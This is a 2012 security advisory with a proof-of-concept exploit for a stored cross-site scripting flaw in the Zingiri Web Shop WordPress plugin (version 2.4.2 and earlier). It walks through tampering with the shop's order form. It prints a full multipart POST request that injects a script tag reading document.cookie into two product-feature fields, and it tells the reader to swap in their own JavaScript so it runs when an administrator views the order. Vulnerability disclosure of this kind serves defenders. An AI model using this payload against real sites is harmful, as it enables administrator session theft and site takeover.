WordPress Plugin Zingiri Web Shop 2.4.2 – Persistent Cross-Site Scripting
############################################################################## # Wordpress Zingiri Web Shop Plugin <= 2.4.2 Stored XSS # Exploit Title: Wordpress Zingiri Web Shop Plugin <= 2.4.0 Stored XSS # Google Dork: # Date: 30 Apr 2012 # Author: Mehmet Ince # Twitter: https://twitter.com/#!/mmetince # Company: Bilgi Guvenligi Akademisi ( www.bga.com.tr ) # # Software Link: # http://downloads.wordpress.org/plugin/zingiri-web-shop.2.4.2.zip # Version: 2.4.2 # Tested on: ubuntu 11.10 with apache server on the Firefox browser. ############################################################################## Few days ago i discovered two XSS vulnerabilities at Zingiri wp-plugin. After that script version updated 2.4.2 and bug fixed. When i realized that i checked the lastest script to learn, "what did they for securing code ?" http://www.exploit-db.com/exploits/18787/ i saw aphpsSanitize() method at vulnerable section. aphpsSanitize() pretty cool for preventing XSS. But what a luck, i discovered something else. Now, time to explain our new bug. That's almost same with my oldest but more complicated. step 1: Login to wordpress. step 2: Go to "Shop" menu. It's should be stay at banner. step 3: Than you'll see list ot items. Click one "t-shirt" item. step 4.1: Star Firefox's extension "Tamper Data" step 4: You can pass that form action. That wont be problem..! Click to "Order" button. -----------------------------16079283545224173541938629871\r\nContent-Disposition: form-data; name="prodid"\r\n\r\n1\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition: form-data; name="prodprice"\r\n\r\n35.95\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition: form-data; name="featuresets"\r\n\r\n1\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition: form-data; name="wsfeature1[]"\r\n\r\n"><script>alert(document.cookie)</script>\r\n\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition: form-data; name="wsfeature2[]"\r\n\r\n\"><script>alert(document.cookie)</script>\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition: form-data; name="numprod[]"\r\n\r\n1\r\n-----------------------------16079283545224173541938629871\r\nContent-Disposition: form-data; name="sub"\r\n\r\nOrder\r\n-----------------------------16079283545224173541938629871--\r\n write your javascript payload to wsfeature1[] and wsfeature2[] variable. step 4.2: After you send POST request. you'll see some pop-ups. click ok and go step 5: There is confirmation about the Shopping. Click "checkout" to pass that page. step 6: Click to "Checkout" step 7: When administrator open your order details. Your javascript payload'll come from database and execute on the administrator side. But victem have to click detail of your order. Like that "WEB20128-08". |